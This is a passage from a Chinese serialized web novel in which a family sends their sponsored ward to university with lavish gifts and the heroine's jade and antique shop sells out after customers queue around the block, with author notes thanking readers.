“上学了就少做点兼职，好好学习，叔叔阿姨希望你好好享受大学生活。” 云昭昭实在劝不动，又听张芸絮絮叨叨的嘱咐，眼眶控制不住泛起红丝。 萧妧妧一进门，云昭昭看到救星似的，求她劝劝叔叔阿姨。 萧妧妧不仅没劝，转身进屋提出来一个双肩包。 “给你准备的开学礼物。” 云昭昭都懵了，傻愣愣呆在原地不敢接。 张芸催促：“拿着吧，妧妧当年去上学的时候，我们也准备了，这是学习用的，好好收着。” 云昭昭闻言以为是文具什么的，稍稍松了一口气，低声道谢，乖巧接过背包。 等东西拿到手上她才发觉重量不对，打开一看，云昭昭傻眼了。 全新未拆封的笔记本一台，平板一个，手机一部，加起来少说两万多。 “不行，我不能收，它们太贵重了，妧妧姐……” 她说着就要把背包往萧妧妧手里塞，说什么不肯收下。 张芸一把抢过背包，往行李箱里摁：“让你收着就收着，这是上课用的东西。你不知道，现在的学校要求可多了，什么交手机点名，网络打卡，连作业也要在电脑上做，你设备跟不上怎么能行？” 云昭昭心里酸酸胀胀，“可是……” 萧妧妧打断：“别多想，这些是古董店几个大客户送的节礼，没花钱。我用不上，卖出去回头被客户知道不好，你拿去用刚好合适。” 云昭昭还要再说，萧大明制止了：“收着吧，当时我们就说好了，你考上大学会给你一个奖励，这就是奖励。” 云昭昭左看看右看看，张芸蹲在行李箱旁边，琢磨怎么塞下更多东西，萧大明一边递东西一边出主意，翻箱倒柜找来蛇皮袋，又被张芸嫌弃一通。 “那袋子不行，太丑了，现在小孩什么都懂，昭昭背进学校要被人嘲笑的。” “昭昭啊，你看你用哪个防晒霜？给你塞大罐的放宿舍好不好？这个量多，和舍友一起用，这罐小的贵，涂脸上舒服，你自己偷摸藏口袋里，隔一阵子补一次。” 萧妧妧刚查完入学指南，补充道：“放点驱蚊水，A大校区在山脚，绿化太好了，蚊虫比较多。” 萧大明一听，转身去杂物柜里翻出一瓶全新的驱蚊喷雾递给张芸，见她塞得艰难，萧大明刚站定没两秒，又转身离开。 “别塞了，我记得后面阁楼还有个行李箱，我去找找。” 云昭昭没喝过酒，却在这会明白了醉是什么感觉。 萧妧妧担心她心里有负担，拍拍云昭昭肩膀宽慰：“我爸妈特别热心，你不让他们出点力，他们心里反而不得劲。” 热心到愿意花一半养老金养着好赌的侄子，花棺材本为没有血缘的养女开店进货，存钱买房，相比起为他们资助过的云昭昭做开学准备，不算什么。 毕竟资助她许多年，能送云昭昭去上学，对他们来说也是喜事一件。 云昭昭点点头，接受了叔叔阿姨的好意，蹲在张芸身边一起帮忙整理。 “哎呀，不行不行，已经给你买了新衣服，这些T可以放家里，等你回来当居家服穿。”张芸连忙夺走云昭昭要塞进行李箱的几件衣服。 云昭昭：“它们还能穿，我可以带过去平时上课穿。” 张芸戳了戳云昭昭脑门，恨铁不成钢：“刚才说的话你是一句不听，我跟你说，听阿姨的没错，咱们上课挑新衣服穿，你要是不喜欢新衣服，咱们重新买。 这几件你看看，洗得发白了，底下那条变形了都，穿出去被人笑话不打紧，但是外面人势利眼，会欺负你。” “先敬罗衣后敬人，你打扮漂亮了，同学老师跟你说话都客客气气，人贩子都不敢拐你。” “要是穿的差一点，尤其像你这样长得漂亮的，那可麻烦了，什么男的都想凑上来叮你一口，烦着呢。” 张芸怕她不信，仰头对萧妧妧说：“别嫌阿姨说话难听，你问你妧妧姐是不是。” 云昭昭扭头看过来，萧妧妧老实点头。 张芸又道：“你妧妧姐读的还是京城的艺术学校，你不知道，那学校里面个个有钱，我和你叔叔看了一眼，吓得马上去买了几个什么驴的包，还有什么死贵死贵的化妆品。 咱们条件有限，太好的攀比不起，至少把门面装精致点，防的就是那些看人下菜碟的，免得给自己不痛快。” “你们小丫头年轻，上学的时候不好好打扮，上班了可就没那么自由了。 你学的还是文物修复，我听说要求可多了，不能化妆不能喷香水……” 张芸摇摇头，神情惋惜。 云昭昭乱七八糟活了二十多年，从没人跟她说过这么细致的方方面面，不由听得入神，浑身酥酥麻麻的舒服。 萧妧妧发现自己帮不上忙，溜回去洗漱。 9月2日一大早，天蒙蒙亮时，一家人穿戴整齐在餐厅汇合。 稍慢一步进门的萧妧妧差点闪瞎了眼。 张芸调整脖颈间的钻石项链，侧身面对萧妧妧，问：“怎么样，是不是还不错？你要买的时候我还说用不上呢，巧了，今天可找到机会了。” 萧大明低着头，捣鼓腰间皮带，嘟嘟囔囔：“妧妧，你买的这个腰带多少钱来着？贵的要死怎么还不好用呢。” 萧妧妧顿了顿，又看向张芸放在沙发上的爱马仕手提包、萧大明放在桌上等待上手的镶钻大金表，陷入沉默。 这哪是送小孩上学，分明是去炫富的。 【作者有话说】 这几章稍微有点日常[比心] 读者“婷婷”,灌溉营养液 +1 读者“謝”,灌溉营养液 +20 读者“Wyd123”,灌溉营养液 +50 读者“多来点我爱看”,灌溉营养液 +5 读者“月白”,灌溉营养液 +10 读者“呦呦鹿鸣”,灌溉营养液 +10 174 第174章 ◎你现在玩这么花？◎ 萧妧妧低头看看自己,为了符合今日出行主题，特意搞了个学院风穿搭，一身白色海军领的连衣裙。 至于首饰什么的，她一件没戴,一家三口站在一起,萧妧妧是最朴素的那个。 云昭昭也看了看自己的打扮,一身白T牛仔裤,对比之下堪称丐版。 她默默收回脚，守在门边观望情况。 张芸刚整理好项链,冷不丁注意到镜子里的自己手腕上戴着一只冰阳绿手镯，哎呀一声。 “不行不行,钻石搭翡翠不好看，”张芸急忙回去换配饰,路过沙发瞥见爱马仕，蹙了蹙眉头：“这爱马仕也不行,商标小的可怜,现在小孩子不一定认得出来。” 话没说完,她一手提起爱马仕,一手搁在脖子后面解项链,匆匆忙忙回房间。 萧大明得意显摆：“我说戴金的显眼，你还跟我犟，说什么俗气，你看看。” 他扣紧钻石金表,拍拍亚麻长裤，在萧妧妧和云昭昭面前转了个身*。 “看,是不是那什么老钱风？” 萧妧妧忍俊不禁：“您现在看起来又年轻又有钱,不老。” 云昭昭慌得不得了,昨晚的事就不提了，今天看见叔叔阿姨盛装打扮，颇有种劳累大家兴师动众的负罪感。 萧妧妧扭头揭穿爸妈的小心思：“让他们过过瘾吧，东西买回来怕被偷，戴出去又担心邻居议论，可给他们憋坏了。” 萧大明坦然道：“可不是，想炫耀都没处炫耀。我上次才说你生意做得好，赚不少，一个个追着我要给你介绍对象，我哪还敢出去炫耀啊。 不是我眼光高，咱们这些邻居啊，自己长得都不怎样，他们家小孩更不行，怎么好意思张开口的。 别说你看不看得上了，我和你妈都看不上。” 萧妧妧恍悟，难怪刘叔突然要做媒呢，原因出在萧大明身上。 萧大明拒绝背锅，连连摆手否认：“你别冤枉我啊，这得怪你妈，走哪挎着那个破包，人家一问，40万！好嘛，藏不住了，非要让我带你去相亲。这种冲你钱来的我能看上？” 张芸快步出来，反击道：“少说我，你自己不也没憋住？ 你是不在老街坊面前说，你跑去熙园跟人家保安聊，你说说你那个嘴巴，你们男的就这死出，嘴巴和裤腰带一样松。 这幸好人家保安没坏心眼，不然咱们家迟早让人给偷了。” 她怼了老伴几句，一屁股撞开萧大明，在三人的目光下转圈展示。 “是不是合适多了？我把钻石换成弥勒挂坠，你别说，我这个年纪还是戴翡翠有气质，和手上镯子正好凑一套。” 云昭昭连连点头夸赞：“好看。” 萧妧妧贱嗖嗖的说：“上回不知道谁说不要不要的，嫌弃得很。” 张芸梗直脖子辩解：“谁嫌弃了，我是担心你乱花钱，你妈我又不瞎，这两件翡翠看着就不便宜。” 说罢，她招手让云昭昭和萧妧妧进屋，帮她挑手提包。 彻底被无视的萧大明嘿了一声，但因理亏，悻悻去餐厅吃早饭。 “挑你们年轻人一眼能认出来的那种，越贵越好。” 云昭昭一个都认不出，倒是有几个logo在黎行墨的衣帽间里见过，料想不便宜。 萧妧妧懒得挑，随手拎了一个放在她手上：“就它吧，赶紧吃饭，你们折腾半天回头再迟到了。” 张芸下意识看墙上挂钟，确实不早了，推着她们去吃早饭。 7点不到，四人拎着大包小包匆忙出门。 黎行墨早早守在外面蹲点，看到人来了故作偶遇姿态，主动上前帮忙。 云昭昭侧过身，隐晦地瞪他，说好今天和妧妧姐一家去学校，不需要他送，怎么突然冒出来。 黎行墨假装没看见云昭昭的眼神，老老实实当他的苦力，接过两个大行李箱走在前面，惹来张芸和萧大明一顿夸赞。 云昭昭看他表现良好，没有乱来，叔叔阿姨也没看出什么不妥，心里安定许多。 张芸看两个年轻小孩走得近，忍不住催促起萧妧妧。 “最近生意还忙呢？哪天空出时间来，咱们出去认识认识新朋友？” 萧妧妧瞬间意会，这是等不及带她去相亲。 萧妧妧没有拒绝，反而思索两秒，缓慢开口： “妈，你可得给我介绍几个老实人，要那种发现我出轨，还能为了这个家着想假装不知道，在家烧菜做饭洗衣服的老实。 我这人从小喜新厌旧，也经不住诱惑，老实人最适合我。 如果能做到这一点，我的钱他随便花，要房子要车都给，绝对不亏待他。 当然，他要是有手段帮我解决那些不懂事找上门的，那就更好了。” 张芸惊得浑身一颤，瞪着眼珠子扫自家闺女，好像第一天认识她似的。 “你说的什么话啊，不像样，你现在玩这么花？” 她再次打量萧妧妧，掂量掂量她那些话是不是唬人玩。 萧妧妧一脸认真表情：“妈，我现在是有钱人，守着一个男人过太傻了，传出去在生意场上会没面子的。” 张芸无法接受：“我看你是糊涂了，外面那些男的不干不净，你也敢要？找个干净的结婚过日子多好，什么面子不面子的，没听过这话。 你要是真这么想，你自己找对象去，我不给你介绍，说给媒人听我都不知道怎么开口。” 张芸果真不再提相亲的事，并希望萧妧妧端正自己的思想。 萧妧妧总算清静了，长舒一口气。 黎行墨在云昭昭数次警告的瞪视下，到底没敢先斩后奏一起跟去学校，送他们四人上车后，垂头耷脑离开。 他们出门足够早，赶到A大校区的新生接待处时间刚好，差十分钟到9点。 也因为来的早，办理宿舍入住的队伍不长，很快排到他们。 云昭昭抢在张芸前面掏钱包，萧大明眼疾手快扫码支付，成功付款。 张芸攥起现金往她口袋里塞：“这点钱哪用得着你出，塞好了，回头请舍友吃饭。” 办理手续的校职工推推眼镜，递来收据和宿舍门禁卡，“您们家孩子真懂事，舍不得您们花钱呢。” 萧大明呵呵笑，不想多说，拎起东西找指示牌。 两旁的学长学姐见状涌了过来，四人带来的八件行李被人一抢而空。 张芸很不好意思，跟在后面帮忙扇风，送上宿舍楼后，硬塞去提前包好的零食水果做为感谢，云昭昭也连声道谢。 住宿条件不好不坏，常规的四人间，面积挺宽敞，暂时只有他们一家人在。 张芸和萧大明有过送女儿上学的经验，不慌不忙地安排任务。 张芸陪云昭昭去办理水卡饭卡校园门禁卡等，顺道买点生活用品。 萧大明和萧妧妧负责检查宿舍设备，爬上爬下打扫卫生。 萧妧妧忙着拆行李的时候，张芸和云昭昭两人拎着大包小包回来了，洗漱盆里塞满生活用品，全是大罐装，足够用上一年半载。 看到萧妧妧抖床单，云昭昭放下东西快步走来，抢走被子床单，麻利地爬上去铺床，萧妧妧见状便取出衣服往柜子里挂。 收拾得大差不差的时候，另外四个室友及家人陆续出现，大家热热闹闹寒暄了一阵。 张芸热情道：“你们别收拾床铺了，赶紧让孩子去办卡，这会排队起码要半小时，再晚点可不好说。” 另外三人的家长毫无经验，闻言连声道谢，急急忙忙去办卡。 等人走了，张芸背过身对云昭昭说悄悄话：“你这几个舍友看着不错，不像是难相处的人，家里人有礼貌，小孩一般不会太差。” 说着，张芸偷偷扒拉出行李箱另一个小包，交给云昭昭。 “昭昭来，等会把这几盒送去给你几个舍友。 我想着你们现在不一定让化妆，里面都是护肤品，不影响你们上专业课。” 云昭昭从昨晚开始就晕晕乎乎的，这会又看见张阿姨连她的宿舍关系一起考虑到，甚至准备了见面礼，眼眶唰的一下模糊了。 “发什么呆啊，赶紧送去，咱们差一点收拾完了，正好出去吃大餐。” 云昭昭听她絮絮叨叨，瓮声瓮气的应了声，捧起护肤品礼盒。 要转身的时候，张芸拉住她，“别闷不吭声的放上去，礼物送了就得送出效果……” 张芸担心她应付不来，索性推着云昭昭一起过去，挨个递了护肤品，笑呵呵和大家说话，拉着几个女孩的手让她们相互关照。 萧大明悄声和萧妧妧说：“你妈这话一个字没变，前几年送你去学校的时候就这么说的。” 萧妧妧同样悄声回应：“我妈特意找了裴阿姨取经，怎么高情商送孩子上学，可不得多用几次。” 两人嘀嘀咕咕的时候，张芸拉着面颊红彤彤的云昭昭回来了，又嘱咐她保管好贵重东西。 到这里，宿舍基本安排的差不多，和其他几家人打过招呼先行离开。 学校下午另有活动安排，原先订下的大餐无缘品尝，午饭最后在食堂解决。 饭后在校园闲逛了一圈，云昭昭送萧妧妧一家出校门，看他们上车离开，嘴角不自觉泛起微笑。 回宿舍的路上，绿荫遮天蔽日，蝉鸣也悦耳了许多，她情不自禁雀跃，迈着轻快步伐。 推门，前一秒还在热聊的宿舍忽然寂静无声。 云昭昭步子稍顿，看大家面面相觑的样子，面上的雀跃神色渐淡。 圆脸舍友左右瞧了瞧，主动开口：“那个……谢谢阿姨的护肤品，但是它们太贵重了，我们不敢要。” 护肤品礼盒重新放在了云昭昭的桌上。 云昭昭恍然，难怪看她们手上抱着护肤品，原来在说这事。 她记着张芸的话，难得用上强硬的语气说道：“阿姨特意为你们准备的，你们放心用就是了。” 护肤品礼盒套装又塞了回去。 几个舍友看她如此反应，心里踏实许多，纠结几秒，乐滋滋收下东西。 “我还没用过这么贵的护肤品呢，谢谢你昭昭，以后有什么需要你跟我说，逃课我帮你签到都行。” “要不这样吧，昭昭，这个月的值日我包了？我查了下，这一套礼盒要8000块，不做点什么我心里不踏实。” “马上要军训，这样吧，你的防晒霜我包了，我妈给我买了好几罐，也挺贵的。” 三个舍友围上来，你一言我一语，云昭昭无措极了，似乎没想到一套护肤品价值8000块，也没想到大家那么友善，完全不知道怎么回应。 对床的圆脸女孩这时又道：“对了昭昭，我们回来的时候看到你包掉在地上，给你捡起来挂上去了，那个包挺贵的，你检查一下有没有刮坏吧。” 圆脸女孩担心第一天闹出误会，当着大家的面把话说出来。 云昭昭茫然找了一圈，才看到舍友所说的双肩包，是妧妧姐昨天连着电脑平板一起送给她的。 “它……很贵吗？” 萧妧妧当时没说什么，动作也随意，云昭昭完全看不出来它有多贵。 圆脸女孩掏出手机查了查，看到价格惊讶片刻，递过来给她看屏幕。 “找到了，你看。我只知道它是名牌，应该不便宜，但是没想到它竟然要5万块。” 5万…… 云昭昭腿一软，跌坐在椅子上。 另外两个舍友一听不禁咋舌，偷摸凑近些去看价值5万的包。 云昭昭顾不上看包，忙不迭给萧妧妧发消息，商量哪天把包包还回去。 萧妧妧不以为意，秒回：一个包有什么好还的，上课装作业本多合适啊，我特意挑的大容量。 姐的包多到一天一个都背不完，安心用吧。 云昭昭想了想，还是无法安心，双肩包藏进柜子里，等周末回月牙巷带过去。 刚合上柜门，萧妧妧紧跟着发来第二条消息。 萧妧妧：对了，我妈说前几天给你转生活费你不肯收，她就换成现金塞在你枕头下面了，你记得收好。 云昭昭又是一惊，站上梯子在床头位置翻找，三两下找到枕套里的红包。 “哇……昭昭你真有钱，叔叔阿姨好大方啊。” 旁边的舍友看她倒出一叠纸币，羡慕的惊呼。 云昭昭已经呆住，反应不能。 张芸考虑到她刚到学校，同学舍友之间少不了交际，于是多添两千生活费，一共转了五千块给她。 云昭昭住在萧家吃在萧家，平日最多帮忙做点家务，哪还好意思收钱，岔开话题，把这事糊弄过去。 她以为张芸忘记了，心里放松警惕，结果是兑成现金换一种方式给到她手里。 云昭昭捏着红包，眼泪啪嗒啪嗒掉，三个舍友手足无措，又是递纸又是安慰。 萧妧妧等了许久，对话框一直显示输入中，猜测云昭昭躲哪哭鼻子了吧。 张芸问道：“怎么样，你跟她说了吗？让她踏实的花，别想着攒钱还钱的。” 萧大明附和：“你妈说的对。” “说了，这会肯定在哭呢。”萧妧妧调侃道：“你们这么大方，投资赚钱了？” 张芸笑眯眯说：“那可不，你不知道，就我和你爸投的那个电影，不少挣！ 才半个月过去票房就有8亿，2个亿的时候就回本了。 我和你爸算过，我们投了45万，占比0.75%，照这架势下去，少说能赚个百来万。” 萧妧妧捕捉到重点，挑挑眉：“45万？你们不是说只投了20万吗？” 她话音一落下，满脸喜意的夫妻俩顿时噤声，流露出说漏嘴的尴尬。 萧大明弱声解释：“当时说20万，是怕你着急。” 萧妧妧：…… 扶额苦笑。 算了，父母年纪大了管不动了，反正没亏本，随他们去吧。 萧妧妧催促司机师傅快点开，她急着赶回店里。 吃饭的时候孟甜甜发来消息，说是忙不过来了，问她几点回去。 萧妧妧点开未读短信一看，七八条进账提醒。 少则七八千，多则七八十万，偶尔来个一百来万的进账。 萧妧妧淡定猜测，恐怕又是哪个财神爷上门了。 直到她急匆匆赶到巷子口，在爬满蓝雪花的院墙前看到一条长队伍。 队伍的尽头是188号院门，偶尔有一两个客人从院门出来，满意地举起胳膊，对着阳光拍照。 萧妧妧淡定的表情渐渐龟裂。 排队买翡翠这么玄幻的事情就这么发生了？ 【作者有话说】 感谢读者“楠有佳人”,灌溉营养液 +14 感谢读者“22104947”,灌溉营养液 +10 感谢读者“一觉睡到自然醒”,灌溉营养液 +20 感谢读者“浅鸣”,灌溉营养液 +50 感谢读者“婷婷”,灌溉营养液 +1 175 第175章 ◎商业奇才萧妧妧◎ 萧妧妧揉揉眼睛,不太敢相信自己看到了什么。 店里最便宜的翡翠首饰是耳坠，二三十万到二三百万不等，挂坠次之，五六十万起步。 哪怕是蜜蜡碧玺绿松石,也要万八千。 不是说经济环境不好吗？怎么有钱人还这么多。 她转身找到队尾,拍拍女孩肩膀询问。 “小姐姐,你们排队买什么？” 年轻女孩礼貌答：“买翡翠。” 另一个女孩答：“买耳坠。” 萧妧妧默了默,还真是冲着翡翠来的。 客气道谢后，萧妧妧站在队伍末端有点反应不能,身后传来一声“借过”，她迟缓让开位置。 “买个紫罗兰吧,两百万差不多，给女儿留一个。 再买几个无事牌,这家卖的便宜，咱们囤着,过几年出手能赚个十来万,比存银行实在。” “紫罗兰不好吧？都花两百万了,不如买绿的,我看那个三百万的阳绿不错,起刚了。” 最新加入队伍的是对夫妻，抱着手机商量选哪款。 萧妧妧往前走了几米，队伍里的顾客们要么刷手机静静等待，要么和同伴一起在不破斋的视频账号里挑选。 又往前走两米,一个领口别着收音设备，手里高举起云台摄像机的自媒体网络博主,前前后后一通乱拍,忙着收集素材。 萧妧妧纳闷,她就随便吹个牛，怎么还成真了呢。 有钱人多的有点不合理了吧。 萧妧妧费解之时，电话铃声响起，来电显示是孟甜甜。 她挂断电话快步进去，惹得后面排队顾客纷纷探出脑袋盯住她，生怕被人插队。 刚迈进院门，抬眼看到孟甜甜准备拨出第二通电话，萧妧妧连忙叫住她。 孟甜甜听到声，长舒一口气。 “可算回来了，你那些票据我实在不会找，不知道你收哪去了，客人等了好一会。” 萧妧妧恍然，难怪能排起队伍，为维持店内购物秩序，避免人多造成拥挤损坏古董，孟甜甜不知道从哪找来一根木棍充当迎宾栏，店里最多同时进4位客人。 客人太多了忙不过来不说，万一摔了东西到时候掰扯不清。 萧妧妧进店，此时店里有三个客人在挑选。 孟甜甜道：“前面有一位小姐买走了一个天空蓝，刚付过款，她那个证书我没找到。” 萧妧妧上前看一眼客人手腕上的翡翠，又问了价格，转身去斗柜下面翻找。 一个抽屉是一个品类的，按照价格由高到低叠起，萧妧妧把这个规律告诉孟甜甜后，她总算理清头绪。 “小姐，您检查一下证书。” 萧妧妧把鉴定证书递过去，找来包装礼盒打包，开票据。 “老板，这只白月光有没有小圈口的？最好连挂坠一起能凑一套的。”另一边有客人提出要求。 孟甜甜不知道东西摆在哪，索性由萧妧妧应付客人，她负责打包和找证书。 先后送走客人，店里静了一瞬，只一瞬，手机屏幕亮起，进账通知接二连三弹出来。 萧妧妧懒得点开，小跑到门边，放后面三波客人进店。 一波又一波客人光顾，昨天才摆上展示柜的中档位翡翠卖出去一半。 又三波客人进店看到只有十几个镯子可挑时，失望不已。 “只有这么多了吗？” 萧妧妧没办法，临时取出十几枚未来得及鉴定的挂坠，先凑合顶空缺。 太高档的没有证书卖不出价，萧妧妧舍不得草草出手，几十万元左右的小雕件或者挂坠刚好派上用场。 排队的顾客抱着来都来了的念头，不止看翡翠，旁边几个首饰柜的宝石饰品一并挑选出来带走。 有几个对翡翠研究颇深的老玩家，便宜的一个不看，尽挑300万往上的高档货买。 萧妧妧忙忙碌碌了许久，不记得放了多少客人进来，抬眼一数，只剩下七八件昂贵翡翠手镯，价格多在500万以上。 未免顾客白跑一趟，她匆忙去巷子口提醒顾客翡翠成品即将售罄，不建议大家继续排队。 这话一出，后排的客人失望不已，估摸一下前面人数，预估自己能不能买到。 前排的客人惊叹出声，似乎不敢相信，几十上百万的翡翠竟然就这么被买空了。 萧妧妧回到店里，看到角落三箱没来得及送走的古董、翡翠，暗叹一口气。 不送不行了，可能还得再多送几箱。 萧妧妧深吸气，打电话摇来萧大明，拜托他跑个腿。 萧大明听说闺女的古董店生意好到顾客排长队，惊奇不已。 那么贵的破玩意有人要？ 连去机构鉴定的时间都没有，生意得多好啊？ 萧大明虽然不能理解，但是很高兴自家生意兴隆，拍着胸脯接下任务。 萧妧妧瞅了瞅萧大明借来的电三轮，里面铺了一层防震泡沫箱，准备的比她想象的充分。 箱子搬上车，萧大明还舍不得离开，游荡在队伍末端拍照片录视频。 萧妧妧催促了几声，萧大明恋恋不舍地折返回来，选中照片群发出去，好好炫耀一番。 “放心，你爸机灵着呢，就拍了照片给他们看看，什么都没说。” 眼见为实后，萧大明别提多激动了，家族群、同学群、麻将群、摄影爱好者群……凡是他能想到的全发了个遍。 开小卖部怎么了？他家闺女就是商业奇才，大生意小生意通通拿捏。 尤其孩子外婆那边的亲戚，之前闲话传遍整个村子，萧大明狠狠抓住机会，视频照片哐哐发。 萧妧妧无奈耸肩，只能随他去了，叮嘱路上小心以及送检的注意事项，急匆匆回店里招待顾客。 9月2日16点10分，刚上新的翡翠饰品被一抢而空，连带着其他料子的首饰也卖出去不少。 800万的那只帝王绿甚至遭到了两位买家的竞价，为了店铺名声着想，萧妧妧忍痛坚持先来后到的规矩。 院外队伍散去，小院重又恢复清静，萧妧妧瞬间垮下肩膀，蔫哒哒往躺椅上一瘫。 孟甜甜好许多，有力气去小卖部拿来两瓶冰可乐。 萧妧妧接过可乐，感动极了：“幸好有你帮忙。” 今天要是没孟甜甜，她大概会忙得晕头转向，两人搭配着干活才轻松一些。 孟甜甜不可思议的神情说：“太夸张了，我从来不知道买翡翠也有要排队的一天。” 萧妧妧深表赞同，她只排队买过奶茶、盲盒，完全想象不到排队买翡翠这么奇妙的事情会发生在不破斋。 她咧了咧嘴，摇号买翡翠好像也不是不可能。 偷着乐了一会，萧妧妧掏出手机查看今天的入账金额。 点开信息提醒，一共60笔进账，加起来…… 计算器加加减减，看清数字，萧妧妧倒吸一口气，呛得她一阵猛咳。 孟甜甜吨吨吨灌下去半瓶可乐，抽空扭头，询问眼神看她。 萧妧妧说不出话，埋着脑袋断断续续地闷咳，手机屏幕递到她眼前让她自己看。 孟甜甜数了数计算器上面的数字，“……6812，怎么了？” 萧妧妧仍旧咳咳咳，只传递过去一个眼神。 孟甜甜福至心灵，瞬间意会，倒吸一口气，低声惊呼：“今天的营业额！” 萧妧妧又咳了几嗓子，勉强喘匀气才回应：“不止是营业额，还是纯利润。” 6812万，本钱小到可以忽略不计，说是纯利润不夸张。 这批翡翠价值档位偏中低，四十多件挂坠戒指耳坠等卖出去一共不超过2000万，剩下的利润全靠那十几只大几百万的镯子撑起来。 不过话又说回来，中低档位的首饰确实好卖，流通性越高的款式越好卖，尤其几十到小百万价格之间的最受散客欢迎。 大几百万的几只镯子留到最后，连续进来七八波散客都望而却步，只有一两个玩翡翠的老手愿意出价。 萧妧妧盘算一通，更坚定了找大客户的决心，随便卖几个镯子抵得上一天的辛苦。 歇了一会，萧妧妧临时挂出一条限购规则，每人每款限购一条，并发布视频通知出去，今日上新已全部售罄，下次上新日期在一周后。 消息一发布，评论区一片“卧槽”“不要啊”的评论，顺带质疑不破斋的“实力”。 萧妧妧胜负欲激起，听不得这种话，临时剪出一条高档翡翠合集发布，件件千万元的标价惊呆一众网友。 “合着是便宜货被人抢了，好东西还在啊，这届网友实力不行。” “笑死，老板太看得起我了，别说限购，不限购也买不起。” “真买不起，空有眼光没有钱，眼馋死了，最后买了个2万的和田玉过过瘾。 自己看图片吧，真的很漂亮，放在外面敢开价4万。 嘿嘿，2万拿下，还不用还价。” “服了，2万的也买不起啊，你们有钱人自己玩去吧。” “难怪要排队，开头那个帝王绿枣珠串才1300万，能买到这种品质很难得了，我有这么多钱真的会买。” “不会是找托演了一出吧？我怎么就不信呢[抠鼻]。” “不知道其他人是不是托，反正我今天挑挂坠的时候，老板手机放在旁边，隔一会一个进账提醒，嫉妒死我了。” “挺正常啊，人家卖的东西好，价格实惠，肯定有人抢。 这么说吧，你在这家店花50万买个手镯，出去到市场上问，要价55肯定有人收，转手赚5万的事谁不抢啊。多放几年能涨更多。” “吹吧，还转手赚5万，真这么赚，老板自己怎么不赚？她傻啊？” 萧妧妧目光落在最后一条评论上，捏着下巴思索。 要不……再涨涨？ 萧妧妧犹豫一会，回复最后那条评论：在考虑了。 翡翠大受欢迎，再这么下去，谁还记得不破斋其实是个古董铺呢。 视频账号发布的高端翡翠成品点赞量基本过万，相比之下，除头冠外的古董器物有些惨烈，点赞勉强过百。 回复一发布，没多久，一连串哭嚎不要涨价的评论淹没了后台。 有人求她别涨，有人表示涨价可以理解，毕竟翡翠玉石的成本在那，只要不太离谱就好。 萧妧妧大喘气，笑嘻嘻回复他们：调价仅针对高端翡翠（1千万元及以上） 网友一看到括号里的价格区间，刚提起的心安稳落地。 还好还好，买不起，随便涨。 给网友们打过预防针，又插科打诨回复几条老粉的评论，萧妧妧抱起计算器盘算涨幅设置在多少比较合适。 孟甜甜看时间不早，提醒道：“快去收拾收拾，晚一点不是有大客户上门吗？” 萧妧妧茫然停顿，回想几秒腾一下爬起。 想起来了，何文预约2号下午来看货，因为店里散客太多，他一个公众人物不太方便，于是把时间往后挪了两小时。 店铺乱糟糟不像样子，工具丢得四处都是，确实需要赶紧收拾。 孟甜甜看她前前后后的忙，莫名心虚，又躺了一会，彻底缓过劲才问：“晚上想吃什么？我来点外卖。” 萧妧妧头也不抬地说：“吃肉！好多好多肉，我得补补。” 孟甜甜也觉得该补补了，不破斋有史以来最忙的一次，两人急需补充体力。 萧妧妧顺口补充：“再给我点份炸鸡备着当夜宵，今晚要打包翡翠，还得接货。” 说出这句话的时候，萧妧妧都觉得自己命苦。 像她这种赚法，请两个员工看店完全说得过去，当个甩手掌柜舒舒服服。 偏偏小卖部藏着大秘密，还有异世界客人把这里当快乐老家，萧妧妧不敢让外人在院里停留太久，只能自己辛苦一点。 孟甜甜吐槽：“你快别炫耀了，听不下去。” 萧妧妧跑去库房抱来一堆礼盒，经过孟甜甜时幽幽说：“命苦啊命苦，忙一整天才赚了6812.95万。” 孟甜甜抽抽嘴角，翻了个身，一手捂住耳朵，一手继续选外卖。 柜子整理好，几只白月光放入展示柜，顺带放几串帝王绿进去。 何文是大顾客，听说刚踏入翡翠圈，正处在冲动消费的阶段，她得把握机会。 就在萧妧妧琢磨要不要取几个古董翡翠雕件出来，好让展示柜看起来丰富一些，手机铃声响起。 看到备注有何文两字，萧妧妧笑眯了眼，拿起手机出门接人。 【作者有话说】 感谢读者“婷婷”,灌溉营养液 +1 感谢读者“南歌子”,灌溉营养液 +1 176 第176章 ◎小卖部经营日常◎ “萧老板生意兴隆啊,我看到网上消息了，听说排长队呢？” 一见到何文和他的太太，两人自来熟得像老朋友闲聊。 萧妧妧多瞅了两眼，迟钝反应过来,夫妻俩竟然都是眼熟的老演员,还是公众印象里八竿子打不着的那种。 萧妧妧猛地吃了一口不大不小的瓜,惊讶片刻,谦虚微笑：“是我运气好，得到大家的支持。” 她引两人进店,准备好工具请他们先看货。 何文看了看展示柜，又看看手机截图,突然认不出是哪个。 “肉眼看比照片美多了，萧老板你帮忙看看,上次鹭姐发给我的是哪个？” 萧妧妧瞅了一眼，捡出中间那只56圈口的胖圆条白月光推过去。 何文的太太蓝眉迅速拿起,对着灯光细看,何文凑过来一起看。 “难怪要排长队,萧老板手里的货都不简单啊。” 蓝眉直勾勾瞅着白月光,又去看展示柜里的冰川蓝、帝王绿……看哪个都觉得漂亮。 来之前一眼他们相中了白月光,非常笃定的要买它，此刻看到实物，夫妻俩又纠结起来。 帝王绿看起来也不错，小孩子戴不上,大人戴没问题，适合她这个年纪。 冰川蓝实在难得,整个市场上没见过几只成品,何况还是高冰,太漂亮了。 这怎么选啊？ 夫妻俩一对视，无奈苦笑。 萧妧妧坦然接受两人的赞美，看他们目光来回扫视，恨不得一起买走，勾起得逞微笑。 不是每个人都看得懂翡翠优劣，但优质翡翠摆在眼前时，没有人不为它倾倒，一眼看出它的好。 何文低声与媳妇商量：“白月光这只咱们已经定下了，女儿也喜欢，现在预算足够，要不再挑一只？” 蓝眉哪有不答应的，她来之前做过功课，也和高鹭讨教过，知道不破斋的翡翠实惠，买了不会亏，放的越久越值钱。 比起装饰品，蓝眉已经把翡翠当场一种投资。 既然是投资，喜欢不喜欢不重要，保值增值属性排在第一位。 蓝眉恋恋不舍地放下冰川蓝，在几串帝王绿之间无法做决定。 萧妧妧依次报价：“两只枣珠手串分别是800万、730万，手镯贵些，900万、1300万，这个价格在市面上已经算比较少见的，有许多同行都跑来我这里买货。” 说来也巧，今天排队上门的客人就有做翡翠生意的同行，两人在店里碰面不尴不尬的打了招呼，又一起抢同一只镯子，这才让萧妧妧看出情况。 高货不易得，能遇见尖货可不得抓紧机会囤，随便等个几年行情变好了再出手，赚死了。 萧妧妧如果不是需要现金参加拍卖，完全可以一批一批出手，囤在手里慢慢卖不会亏。 